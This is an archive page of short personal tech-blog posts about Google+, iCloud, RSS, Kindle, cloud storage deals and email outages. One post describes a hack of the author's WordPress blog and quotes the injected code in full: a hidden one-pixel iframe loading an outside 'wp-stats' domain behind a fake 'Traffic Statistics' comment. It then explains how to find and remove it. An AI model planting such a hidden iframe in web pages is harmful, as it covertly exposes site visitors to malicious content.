Category: metaBLOG

blogging about blogging about

  • Google+ is closed, Facebook and Twitter are open

    There’s a simple reason that Google+ can not be a facebook killer – it adds to social noise and creates a walled garden where data can not be exported from nor imported to. There are no RSS feeds generated by Google+ that you can pipe into Twitter using Twitterfeed, nor can you import tweets to Google+ the way you can with Facebook. There is no Google+ API like the Facebook API that allows data import to the service from other services.

    This is a huge, critical flaw in Google+ that guarantees it won’t be a Facebook killer.

    A better use of Google+ would be to unify Gmail and Circles such that you can create whitelists for email with a single click. There’s no email service at present that permits a user to create a whitelist easily – you have to tediously set up manual filters instead, and even then there’s simply no way to say “send all emails (except some) to Trash”. A simple whitelist functionality is the real way to declare email independence. I fully support what MG Siegler is trying to achieve here but until we can say “receive mail ONLY from X, Y, Z” we will never be free of the tyranny of the inbox.

    Maybe Google+ is the first step. But we need to stop treating it like Facebook and start thinking about how it can be used to improve the original social network – email. If Circles can be used to define whitelists, that’s real value.

    Related: a little slideshare I put together a few years back about managing social noise. Still relevant, if a little outdated.

  • Apple Cloud of FUD: it just works

    What the hell is Techcrunch smoking?

    ooooooh! The Cloud! The Truth is in the Cloud!

    With iCloud, Apple is transforming the cloud from an almost tangible place that you visit to find your stuff, to a place that only exists in the background. It’s never seen. You never interact with it, your apps do — and you never realize it. It’s magic.

    Compare this to Google, the company perhaps most associated with the cloud. Google’s approach has been to make the cloud more accessible to existing PC users. They’re doing this by extending familiar concepts. Google Docs is Microsoft Office, but in the cloud. Your main point of interaction is a file system, but in the cloud. Gmail is Outlook, but in the cloud. Etc.

    Meanwhile, another company now largely associated with the cloud, Amazon, has essentially turned it into one giant server/hard drive that anyone can use for a fee. But it takes developers to build something on top of it to give users a product to use. Some are great. But many again just extend the idea of the cloud as a remote hard drive.

    While the fundamentals are the same, Apple’s approach to the concept of the cloud is the opposite of their competitors. Apple’s belief is clearly that users will not and should not care how the cloud actually works. When Jobs gave a brief glimpse of their new North Carolina datacenter that is the centerpiece of iCloud, he only noted that it was full of “stuff” — “expensive stuff,” he quipped.

    How on earth can Apple’s approach to the cloud be the same and also the opposite? There’s a cloud alright, and it’s being smoked big time.

    Someone explain to me how Amazon or Google force the user to care how the cloud actually works? When I read books on the Kindle app, “it just works” on iPad, Blackberry, or iPod – i put one device down, pick up the other, and start reading right where i left off. When I open a document in google docs in one web browser at work, I save my document and go home and open the same document from my PC at home, and “it just works”.

    OK, I think Gruber had a better insight in pointing out that for Google, the Cloud is accessed through a browser window, whereas for Apple, it’s accessed through your entire screen. But then again, have we forgotten about AWS? Or App Engine?

    whatever. get ready for endless droning on by the MG Sieglers of the world about how the Truth is In the Cloud. ooooooh!

  • from Twitter API to RSS feed

    This is a perfect solution: code to leverage the Twitter API to create a valid RSS feed. Now, RSS feeds are no longer dependent on Twitter’s noblesse oblige.

  • 20 GB cloud storage for 99 cents (and Lady Gaga)

    Lady Gaga, presumably not born this way
    I can’t claim to be a big fan of Lady Gaga, especially since her new hit single Born This Way is a straight rip-off of the far more talented Madonna’s Express Yourself.

    In fact, you’d probably have to bribe me to listen to Lady Gaga. With, say, 20 GB of disk space on Amazon’s new Cloud Drive serviceWhich, as a matter of fact, is precisely the deal today – for $0.99, you can get the upgrade to 20 GB from Amazon, as long as you download Gaga’s album. This is a good deal despite the forcible auditory abuse, and it ends today, so hurry up!

    For 99 cents this is a great deal. 20GB on Amazon Cloud Drive is 4x the size of Microsoft’s SkyDrive and 10x more than Dropbox. The service also integrates with Amazon’s new music service so you can access any music you buy from Amazon on any device, immediately without re-uploading.

  • Kindle for the Web

    J complains that the Mac version of Kindle is not exactly stable:

    The Kindle for Mac application is crap. Not in the sense of “limited functionality and poor UI” (although those are true, too), but in a more serious “corrupts user identity every time it does its (weekly?) auto-update”. I had originally thought the problem was with the version available in the Mac App Store (which, thanks to Apple, is much, much older), but no, the direct download from Amazon does it as well.

    I’m guessing that Amazon is starting to wean itself from Apple given that there’s the issue of in-app purchasing hanging over their heads. I’m not really sure if there wll even BE a Kindle version in the App Store in two months, esp if Apple sticks to the June 30th deadline for in-app compliance.

    Even if Amazon and Apple divorce, iOS/OSX users will eventually be able to use the web-based version of Kindle though. I haven’t used it yet, it’s still in beta, but it should be available soon. At such point I would expect Amazon to dump a lot of dev resources into the web version as well to keep people from jumping ship to ibooks.

  • metaBLOG has relocated… here

    A while back, I started Yet Another Blog called metaBLOG. To be honest, it was a mistake. As a result, I’ve imported all the posts from there to here, and given them their own category, also named metaBLOG (because, you see, I am a very original thinker).

    Probably the only post of consequence there was this one, which is now here, and if I do everything correctly will eventually do a proper 301 redirect. In fact, I welcome suggestions on how to do that exactly, not just for that post but for all the posts as well. I’ve got both sites verified under Google’s webmaster tools, as a start, but could use some guidance.

  • Glenn Beck’s crusade against Network Neutrality

    Glenn Beck has decided Net Neutrality is the tool of the devil.

    Thank god that we have a functioning techsphere, which serves as a factual counterpoint to nonsense and propaganda. The lack of any such objective source in the political blogsphere is basically the reason that I started geekblogging. Still, sometimes, the political stoopid finds you, no matter how far you run.

    In a nutshell, this is why network neutrality matters.

  • annoying html injection in wordpress

    two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows:

    <!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

    I only became aware of it when Google flagged my archives for that month as “malicious”. Viewing source of the archives page revealed the hack – probably from some window of time in which I hadnt upgraded to the latest wordpress version.

    To ensure you don’t have old posts in your archives with this exploit, just search your posts for the term “iframe”. Edit those posts and you’ll likely as not find similar code to above.

    WordPress has come a long way in making upgrades easier with one click (though some people still run into problems on occasion). I think it would be better is WP had a incremental and automated upgrade process whereby whenever a security-related update was available, you could have it automatically install, just like you can set in Windows. Ideally, this would be controlled by a setting in the Dashboard to “turn on/off automatic security patches” and when enabled, would “register” your blog with the mothership at wordpress.org so that whenever a security patch is available, you get an automatic email to your admin email account notifying you, and when you next login to Dashboard the patch is automatically applied.

  • First gmail, now Yahoo mail is down

    good grief, it looks like it’s Yahoo Mail’s turn to go down in flames:

    Yahoo Mail error message
    Yahoo Mail error message

    I’m sure they will have service restored soon. But it’s particularly more galling given that 1. I snarkily defended Yahoo Mail during the gmail outage (oh, karma!) and 2. unlike gmail, I’m a paying customer for Yahoo’s Plus service (no ads, more storage, extra features including mail aliases).

    This, in a nutshell, is why the Cloud sucks. But even these hassles aren’t enough to make me want to go back to the Eudora days where I had to manage my own mail archives locally. Email is inherently a pain no matter how you do it – the only real way to be free of it is to declare Email Independence.

  • RSS is dead; long live RSS!

    I was quite perplexed to see this article at ZDNet on techmeme, arguing that RSS is a failure. Now, I’ve been relying less and less on Google Reader myself as a source of news as well, but that’s not because of a failure in RSS technology but rather the obsolesence of Google Reader in the Twitter age. Marshall Kirkpatrick of RWW has a response, arguing that RSS isn’t dead but just one of many information-delivery mechanisms he relies on; I think this response misses the point, however. The truth is that RSS has become an infrastructure technology, the glue that binds the web together and makes it useful. Yahoo Pipes was a great example of how RSS could be used to manipulate content, and half the functionality of Twitter itself comes from the ability to use RSS to import content to it. Friendfeed also relies on RSS feeds generated from your social sphere, and Facebook has supported importing of RSS feeds for a while. The point here is that RSS is so prevalent it has become invisible. Yes, you can tap the raw stream of RSS content directly, using Google Reader or equivalent, but that’s like drinking from the firehose. The better approach is to let your social graph do the filtering for you and then present the result as a steady stream (the so-called river of news). That stream is content, but the streambed is RSS.

    Related: Dave Winer makes much the same point, that “the Internet is layered.” Also see James Robertson’s comments about the closed tech pundit circle.